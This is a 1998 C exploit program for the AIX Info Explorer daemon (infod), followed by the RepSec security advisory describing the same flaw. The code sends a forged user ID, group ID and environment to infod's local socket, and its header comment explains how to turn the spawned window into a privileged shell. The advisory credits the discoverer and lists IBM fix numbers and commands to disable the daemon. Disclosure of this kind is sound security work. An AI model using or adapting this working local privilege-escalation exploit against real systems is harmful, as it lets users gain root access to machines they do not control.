/* Infod AIX exploit (k) Arisme 21/11/98  - All Rights Reversed 
   Based on RSI.0011.11-09-98.AIX.INFOD (http://www.repsec.com)

   [ http://www.rootshell.com/ ]

   Run program with the login you want to exploit :)
   When the window appears, select "options", "defaults", change printer 
   to something more useful (like /bin/x11/xterm) and print !                

   Comments,questions : arisme@altern.org */


#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <pwd.h>

#define TAILLE_BUFFER 2000
#define SOCK_PATH "/tmp/.info-help"
#define PWD "/tmp"

#define KOPY "Infod AIX exploit (k) Arisme 21/11/98\nAdvisory RSI.0011.11-09-98.AIX.INFOD (http://www.repsec.com)"
#define NOUSER "Use : infofun [login]"
#define UNKNOWN "User does not exist !"
#define OK "Waiting for magic window ... if you have problems check the xhost "

void send_environ(char *var,FILE *param)
{ char tempo[TAILLE_BUFFER];
  int taille;
  
  taille=strlen(var);
  sprintf(tempo,"%c%s%c%c%c",taille,var,0,0,0);
  fwrite(tempo,1,taille+4,param);
}

main(int argc,char** argv)
{ struct sockaddr_un sin,expediteur;
  struct hostent *hp;
  struct passwd *info;
  int chaussette,taille_expediteur,port,taille_struct,taille_param;
  char buffer[TAILLE_BUFFER],paramz[TAILLE_BUFFER],*disp,*pointeur;
  FILE *param;
  
  char *HOME,*LOGIN;
  int UID,GID;
  
  printf("\n\n%s\n\n",KOPY);
  
  if (argc!=2) { printf("%s\n",NOUSER);
		 exit(1); }
		 
		 
  info=getpwnam(argv[1]);
  if (!info)   { printf("%s\n",UNKNOWN);
		 exit(1); }
  
  HOME=info->pw_dir;
  LOGIN=info->pw_name;
  UID=info->pw_uid;
  GID=info->pw_gid;
  
  param=fopen("/tmp/tempo.fun","wb");
  
  chaussette=socket(AF_UNIX,SOCK_STREAM,0);
  sin.sun_family=AF_UNIX;
  strcpy(sin.sun_path,SOCK_PATH);
  taille_struct=sizeof(struct sockaddr_un);
  
  
  if (connect(chaussette,(struct sockaddr*)&sin,taille_struct)<0)
     { perror("connect"); 
       exit(1); }   
   
       
  /* 0 0 PF_UID pf_UID 0 0 */
  
  sprintf(buffer,"%c%c%c%c%c%c",0,0,UID>>8,UID-((UID>>8)*256),0,0);
  fwrite(buffer,1,6,param);
  
  /* PF_GID pf_GID */
  sprintf(buffer,"%c%c",GID>>8,GID-((GID>>8)*256));
  fwrite(buffer,1,2,param);
  
  /* DISPLAY (259) */
  
  bzero(buffer,TAILLE_BUFFER); 
  strcpy(buffer,getenv("DISPLAY"));
  fwrite(buffer,1,259,param);
  
  /* LANG (1 C 0 0 0 0 0 0 0) */
  
  sprintf(buffer,"%c%c%c%c%c%c%c%c%c",1,67,0,0,0,0,0,0,0);
  fwrite(buffer,1,9,param);
  
  /* size_$HOME $HOME 0 0 0 */
  
  send_environ(HOME,param);
  
  /* size_$LOGNAME $LOGNAME 0 0 0 */
  
  send_environ(LOGIN,param);
  
  /* size_$USERNAME $USERNAME 0 0 0 */
  
  send_environ(LOGIN,param);
  
  /* size_$PWD $PWD 0 0 0 */
  
  send_environ(PWD,param);
  
  /* size_DISPLAY DISPLAY 0 0 0 */
  
  //send_environ(ptsname(0),param);
  
  /* If we send our pts, info_gr will crash as it has already changed UID */
  
  send_environ("/dev/null",param);
  
  /* It's probably not useful to copy all these environment vars but it was
     good for debugging :) */
  
  sprintf(buffer,"%c%c%c%c",23,0,0,0);
  fwrite(buffer,1,4,param);
  
  sprintf(buffer,"_=./startinfo");
  send_environ(buffer,param);
  
  sprintf(buffer,"TMPDIR=/tmp");
  send_environ(buffer,param);
  
  sprintf(buffer,"LANG=%s",getenv("LANG"));
  send_environ(buffer,param);
  
  sprintf(buffer,"LOGIN=%s",LOGIN);
  send_environ(buffer,param);
  
  sprintf(buffer,"NLSPATH=%s",getenv("NLSPATH"));
  send_environ(buffer,param);
  
  sprintf(buffer,"PATH=%s",getenv("PATH"));
  send_environ(buffer,param);
  
  sprintf(buffer,"%s","EDITOR=emacs");
  send_environ(buffer,param);
  
  sprintf(buffer,"LOGNAME=%s",LOGIN);
  send_environ(buffer,param);
  
  sprintf(buffer,"MAIL=/usr/spool/mail/%s",LOGIN);
  send_environ(buffer,param);
  
  sprintf(buffer,"HOSTNAME=%s",getenv("HOSTNAME"));
  send_environ(buffer,param);
  
  sprintf(buffer,"LOCPATH=%s",getenv("LOCPATH"));
  send_environ(buffer,param);
  
  sprintf(buffer,"%s","PS1=(exploited !) ");
  send_environ(buffer,param);
  
  sprintf(buffer,"USER=%s",LOGIN);
  send_environ(buffer,param);
  
  sprintf(buffer,"AUTHSTATE=%s",getenv("AUTHSTATE"));
  send_environ(buffer,param);
  
  sprintf(buffer,"DISPLAY=%s",getenv("DISPLAY"));
  send_environ(buffer,param);
  
  sprintf(buffer,"SHELL=%s",getenv("SHELL"));
  send_environ(buffer,param);
  
  sprintf(buffer,"%s","ODMDIR=/etc/objrepos");
  send_environ(buffer,param);
  
  sprintf(buffer,"HOME=%s",HOME);
  send_environ(buffer,param);
  
  sprintf(buffer,"%s","TERM=vt220");
  send_environ(buffer,param);
  
  sprintf(buffer,"%s","MAILMSG=[YOU HAVE NEW MAIL]");
  send_environ(buffer,param);
  
  sprintf(buffer,"PWD=%s",PWD);
  send_environ(buffer,param);
  
  sprintf(buffer,"%s","TZ=NFT-1");
  send_environ(buffer,param);
  
  sprintf(buffer,"%s","A__z=! LOGNAME");
  send_environ(buffer,param);
  
  /* Start info_gr with -q parameter or the process will be run locally and
     not from the daemon ... */
  
  sprintf(buffer,"%c%c%c%c",1,45,113,0);
  fwrite(buffer,1,4,param);
  
  fclose(param);
  
  param=fopen("/tmp/tempo.fun","rb");
  fseek(param,0,SEEK_END);
  taille_param=ftell(param);
  fseek(param,0,SEEK_SET);
  fread(paramz,1,taille_param,param);
  fclose(param);
  
  unlink("/tmp/tempo.fun");
  
  /* Thank you Mr daemon :) */
  
  write(chaussette,paramz,taille_param);
  
  printf("\n%s %s\n",OK,getenv("HOSTNAME"));
  
  close(chaussette);
}

-------------------------------------------------------------------------

RSI.0011.11-12-98.AIX.INFOD



           |:::.  |::::: |::::.        |::::: |::::: |::::.
           ..  :: ..     ..  ::        ..     ..     ..  ::
           |::::  |::::  |::::  :::::: |::::: |::::  |:
           |:  :: |:     |:               |:: |:     |:  ::
           |:  :: |::::: |:            |::::: |::::: |:::::


                   Repent Security Incorporated, RSI
                       [ http://www.repsec.com ]


                       *** RSI ALERT ADVISORY ***


--- [CREDIT] --------------------------------------------------------------

Andrew Green: Discovered the vulnerability
Mark Zielinski: Author of the advisory

--- [SUMMARY] -------------------------------------------------------------

Announced:     November 09, 1998
Report code:   RSI.0011.11-12-98.AIX.INFOD
Report title:  AIX infod

Vulnerability: Please see the details section
Vendor status: AIX contacted on November 12, 1998
Patch status:  IBM is currently working on several fixes

Platforms:     AIX 3.2.x, 4.1.x, 4.2.x, 4.3.x

Reference:     http://www.repsec.com/advisories.html
Impact:        If exploited, an attacker could potentially compromise
               root access locally on your server

--- [DETAILS] -------------------------------------------------------------

Description:   The Info Explorer daemon is a AIX utility which is used
               to provide documentation for the operating system and
               associated programs.

Problem:       The info daemon does not perform any validation on information
               passed to the local socket that it is bound to.  Users on the
               system can send false information to the daemon and trick
               it into spawning a connection to the intruders X display.

Details:       By sending a UID and GID of 0, along with a false environment,
               infod will be forced into spawning a connection with root
               privileges to the intruder's X display.

               Once the program appears on the screen, they can goto
               the default options menu and change the printer command
               line to an alternate binary such as /bin/sh that gives
               privileges to the account the session was spawned under.


--- [FIX] -----------------------------------------------------------------

Solution:      IBM is currently working on the following fixes which will be
               available soon:

                  AIX 3.2.x:  upgrade to version 4
                  AIX 4.1.x:  IX84640
                  AIX 4.2.x:  IX84641
                  AIX 4.3.x:  IX84642

               Until the fixes can be applied, the infod daemon should be disabled.
               Run the following commands as root:

                  # stopsrc -s infod
                  # rmitab infod
                  # chown root.system /usr/lpp/info/bin/infod
                  # chmod 0 /usr/lpp/info/bin/infod


---------------------------------------------------------------------------

Repent Security Incorporated (RSI)
13610 N. Scottsdale Rd.
Suite #10-326
Scottsdale, AZ 85254

E-Mail: advise@repsec.com
FTP: ftp://ftp.repsec.com
WWW: http://www.repsec.com

---------------------------------------------------------------------------

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzU6dqAAAAEEAOHt9a5vevjD8ZjsEmncEbFp2U7aeqvPTcF/8FJMilgOVp75
dshXvZixHsYU7flgCNzA7wLIQPWBQBrweLG6dx9gE9e5Ca6yAJxZg8wNsi06tZfP
nvmvf6F/7xoWS5Ei4k3YKuzscxlyePNNKws6uUe2ZmwVoB+i3HHT44dOafMhAAUT
tBpSZXBTZWMgPGFkdmlzZUByZXBzZWMuY29tPg==
=ro8H
-----END PGP PUBLIC KEY BLOCK-----

Copyright November 1998 RepSec, Inc.

The information in this document is provided as a service to customers
of RepSec, Inc.  Neither RepSec, Inc., nor any of it's employees, makes
any warranty, express or implied, or assumes any legal liability or
responsibility for the accuracy, completeness, or usefulness of any
information, apparatus, product, or process contained herein, or
represents that its use would not infringe any privately owned rights.
Reference herein to any specific commercial products, process, or
services by trade name, trademark, manufacturer, or otherwise, does not
necessarily constitute or imply its endorsement, recommendation or
favoring by RepSec, Inc.  The views and opinions of authors express
herein do no necessarily state or reflect those of RepSec, Inc., and may
not be used for advertising or product endorsement purposes.

The material in this alert advisory may be reproduced and distributed,
without permission, in whole or in part, by other security incident
response teams (both commercial and non-commercial), provided the above
copyright is kept intact and due credit is given to RepSec, Inc.

This alert advisory may be reproduced and distributed, without
permission, in its entirety only, by any person provided such
reproduction and/or distribution is performed for non-commercial
purposes and with the intent of increasing the awareness of the Internet
community.

---------------------------------------------------------------------------

RepSec, Inc. are trademarks of RepSec, Inc.  All other trademarks are
property of their respective holders.

